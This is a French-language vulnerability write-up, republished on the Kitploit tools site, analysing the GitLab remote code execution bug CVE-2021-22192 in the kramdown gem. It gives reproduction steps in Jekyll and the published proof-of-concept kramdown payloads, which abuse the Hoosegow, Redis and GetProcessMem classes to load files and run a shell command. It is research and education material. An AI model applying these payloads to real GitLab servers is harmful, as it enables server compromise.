Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Outils/GitHubGitHub/petrusviet/gitlab-rce
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebArticles et RechercheApprentissage et Éducation
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

Voir le dépôt
123il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Analyse de la vulnérabilité RCE sur Gitlab (CVE-2021–22192)

I) Mise en place

  • Ce bug affecte GitLab Community Edition (CE) et Enterprise Edition (EE) dans les versions (>=13.2, <13.7.9), (>=13.8, <13.8.6) et (>=13.9, <13.9.4)
  • Vous pouvez suivre les instructions de lyy289065406 pour monter l'environnement.

II) Analyse

En commençant à analyser ce bug, je ne disposais que de quelques précieuses informations de lyy289065406 qui m'ont permis de comprendre le cœur du problème. On dirait que le bug se trouve du côté de la gem kramdown (<= 2.3.0), j'ai donc commencé par me pencher sur kramdown.

1. Kramdown

On peut examiner le correctif de kramdown, et on voit une différence dans la fonction formatter_class du module Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) s'est transformé en ::Rouge::Formatters.const_get(formatter, false)

La fonction const_get est héritée de la classe Object, elle peut récupérer les constantes. Elle peut même renvoyer les classes déjà déclarées qu'elle trouve. La seule différence ici est l'ajout du paramètre false. L'ajout de ce paramètre false empêche const_get de récupérer les constantes de la classe parente ou des modules. Encore plus intéressant : dans la fonction self.call, formatter_class est appelée puis new(opts) est appelé. Cela signifie que la méthode récupérée via const_get verra son constructeur appelé pour l'initialisation.

root@kitploit:~
def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Waouh, waouh. Alors, comment exploiter ?

En nous appuyant sur Kramdown:Options, on peut appeler la fonction Kramdown::Converter::SyntaxHighlighter::Rouge.call

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

On voit également que dans le module Kramdown:Options, la fonction simple_hash_validator appelle YAML.safe_load(val). On peut donc configurer un fichier YML pour envoyer le payload souhaité à Kramdown::Converter::SyntaxHighlighter::Rouge

root@kitploit:~
def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown est utilisé par Jekyll, GitLab Pages, GitHub Pages et Thredd Forum. J'ai donc décidé de l'essayer d'abord avec Jekyll.

2. jekyll

D'abord, il faut mettre en place Jekyll :

  • Installer Jekyll
root@kitploit:~
gem install jekyll
  • Créer des pages Jekyll nommées jekyllTest
root@kitploit:~
jekyll new jekyllTest
  • Modifier le fichier Gemfile.lock pour ramener la version de kramdown à <= 2.3.0
root@kitploit:~
cd jekyllTest

Fichier Gemfile.lock

root@kitploit:~

...
kramdown (2.3.0)
...

  • Installer la page
root@kitploit:~
 bundle install

Voilà, nous avons fini de créer une page Jekyll. Maintenant, on peut injecter un payload pour voir si Kramdown::Converter::SyntaxHighlighter::Rouge.call est réellement capable d'appeler une méthode.

On peut l'ajouter dans le fichier ./_config.yml

root@kitploit:~
kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Ou utiliser un document kramdown en ajoutant le payload dans ./_posts/*.markdown

root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Ici, j'utilise la deuxième méthode =)))))))

  • On déploie la page Jekyll
root@kitploit:~
bundle exec jekyll serve

vous pouvez rencontrer l'erreur "require': cannot load such file -- webrick (LoadError)", il faut ajouter gem "webrick" au Gemfile

  • On voit le message d'erreur private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Cela prouve que la classe CSV a bien été appelée.

Ensuite, il faut déterminer quelle méthode choisir pour que l'appel du constructeur puisse déclencher une RCE.

D'après un article d'analyse CVE-2020-10518 qui utilise le bug de kramdown pour provoquer une RCE sur GitHub, je cible la classe Hoosegow :

  • On voit que dans la fonction initialize de Hoosegow, load_inmate_methods est appelé
root@kitploit:~
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • Dans load_inmate_methods, on voit qu'elle appelle require inmate_file
root@kitploit:~
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • Or inmate_file est créé en concaténant @inmate_dir avec 'inmate.rb'. Si on peut appeler cette classe et modifier le paramètre inmate_dir pour pointer vers le chemin de notre fichier payload, alors ne se produirait-il pas une RCE ici ?

  • J'exécute un script dans le chemin de la page Jekyll pour vérifier les méthodes déjà définies :

root@kitploit:~
require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Malheureusement, aucune classe nommée Hoosegow n'est trouvée, même en évitant que le script ne plante en cours de route grâce à la condition ob.name == "Hoosegow"
root@kitploit:~
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • En fait, la classe Hoosegow n'était pas déclarée dans le class path. J'ajoute gem "hoosegow" au Gemfile et le script trouve cette classe. [Hé hé hé]
  • Ensuite, essayons d'appeler Hoosegow avec kramdown pour voir
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Boum. Rien ne se passe, la classe Hoosegow n'est toujours pas appelée. =)))))))))
  • Je suis resté bloqué ici.. une semaine. Ouais, j'ai perdu une semaine à cause de ça. Je tournais en rond avec la question : « Pourquoi la classe Hoosegow est présente dans bundler, mais quand on l'appelle depuis Kramdown, ça ne marche pas ? Elle devrait pourtant marcher, non ??? »

  • Je pense : « Si la gem est déclarée dans le Gemfile, alors la classe est déjà dans le class path. Donc si le programme ne trouve toujours pas "Hoosegow", c'est qu'elle n'a pas encore été chargée... ». Alors, comment déclarer une gem pour que, au démarrage, Jekyll la charge avant de traiter les autres éléments du répertoire source ?

  • Je lis la doc de Jekyll et je trouve jekyll_plugins. Déclarer la gem dans le Gemfile ne suffit pas, il faut la déclarer dans le groupe jekyll_plugins pour que ça marche :( car lorsque la gem est déclarée dans jekyll_plugins, elle est chargée systématiquement avant que Jekyll ne traite les autres sources. Même en exécutant Jekyll en mode safe.

root@kitploit:~
group :jekyll_plugins do
  gem "jekyll-feed", "~> 0.12"
  gem "hoosegow"
end
  • Je crée un fichier inmate.rb dans C:/ puis j'exécute le payload :
root@kitploit:~
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Le fichier inmate.rb a bien été appelé. On dirait donc qu'on a presque réussi à refaire un PoC, non ?

3. Gitlab

  • Sur Gitlab, il y a la fonctionnalité Gitlab Pages, où je peux déployer une page Jekyll. J'essaie donc de déployer sur Gitlab un payload sous la forme d'un projet de page Jekyll (comme dans la partie précédente).
  • La question est : comment envoyer le fichier inmate.rb sur le serveur de Gitlab et savoir où se trouve le fichier inmate.rb qu'on vient d'uploader ?
  • C'est assez simple si on a le droit de créer un projet et de le déployer sur Gitlab. On peut uploader le fichier inmate.rb dans notre propre projet puis modifier le fichier .gitlab-ci.yml
root@kitploit:~
before_script:
  - pwd
  - gem install bundler
  - bundle install

  • Cela nous permet de savoir où notre projet est stocké. De là, on peut créer notre payload :)

Pourquoi, si on a le droit de modifier le fichier .gitlab-ci.yml et donc la capacité d'injecter des commandes, se donner la peine d'écrire un PoC ? Est-ce que je ne suis pas en train de partir sur une voie de self RCE ?

  • Cette question m'est immédiatement venue à l'esprit quand j'ai modifié le fichier .gitlab-ci.yml. J'ai essayé de l'expliquer de différentes manières : « Peut-être qu'il y a un mécanisme qui scanne le fichier .yml avant qu'il ne soit chargé ? »,... mais rien ne me satisfaisait...
  • Je me renseigne sur la façon dont Gitlab déploie Gitlab Pages. Je remarque qu'à chaque déploiement d'une nouvelle page, ou à chaque modification d'un fichier dans un projet de pages, le serveur Gitlab Runner rend le projet en pages web statiques, puis les transmet au serveur web Gitlab. Cela signifie que cette voie d'exploitation permet tout au plus de compromettre le Runner Server. Compromettre le Runner Server n'est pas très grave, car cela reste une self RCE. Quelque chose ne semble pas tout à fait normal.
  • Je cherche une autre voie d'entrée : la page wiki. La page wiki permet d'utiliser le format kramdown, donc je soupçonne et je teste ici, mais sans résultat, car j'avais seulement mis le payload dans le fichier par défaut '*.md', et ce fichier '*.md' était limité dans les fonctionnalités nécessaires ; j'ai donc abandonné cette voie :(

  • À ce stade, je dois m'arrêter et attendre la publication du PoC pour consacrer du temps à d'autres recherches.

PoC publié

Un beau jour, le PoC a été publié. Après l'avoir lu, j'ai eu la chair de poule, c'est le moins qu'on puisse dire =)).

Le cœur du problème se trouvait bien dans kramdown, on avait vu juste, mais le chemin pour y arriver sur Gitlab semblait un peu bancal =)

  • L'auteur a découvert qu'en uploadant une page wiki avec un fichier '*.rmd', le programme appelle render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Ainsi, le fichier '*.rmd' est rendu avec kramdown.

  • L'auteur a uploadé son fichier '.rmd' en clonant la page wiki en local, puis en utilisant git pour pousser la page wiki (avec le fichier '.rmd') vers Gitlab.

  • L'auteur a utilisé la classe Redis (déjà déclarée dans le projet Gitlab, donc on peut l'appeler et l'utiliser) pour exécuter son payload.

Lors de l'initialisation de la classe Redis, si l'option driver existe, le programme appelle la fonction _parse_driver. Ici, le programme fait require "connection/#{driver}" ; on peut influencer la variable driver pour que le programme charge le fichier payload que l'on a uploadé sur le serveur.

root@kitploit:~
def _parse_driver(driver)
      driver = driver.to_s if driver.is_a?(Symbol)

      if driver.kind_of?(String)
        begin
          require_relative "connection/#{driver}"
        rescue LoadError, NameError => e
          begin
            require "connection/#{driver}"
          rescue LoadError, NameError => e
            raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
          end
        end

        driver = Connection.const_get(driver.capitalize)
      end

      driver
    end
  • Avec la fonctionnalité de création de snippet, un attaquant peut uploader un payload Ruby avec Attach a file.
  • Dans cet exploit, l'attaquant doit trouver l'emplacement du fichier payload téléchargé. C'est ce qui a poussé l'auteur à trouver une autre voie d'exploitation :

En utilisant la voie qui consiste à faire appel à la classe Redis via Kramdown, l'auteur importe d'abord la gem get_process_mem avec le payload

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}

~~~ruby
    def what?
      42
    end
~~~

Ensuite, il utilise à nouveau la gem get_process_mem importée précédemment pour réaliser la RCE

root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}

~~ ruby
    def what?
      42
    end
~~

Ainsi, sans avoir à trouver l'emplacement du fichier payload, un attaquant peut toujours exécuter une RCE sur le serveur Gitlab.

Références :

  • https://github.com/lyy289065406/CVE-2021-22192
  • https://blog.csdn.net/smellycat000/article/details/109302520
  • https://hackerone.com/reports/1125425
Télécharger l’outil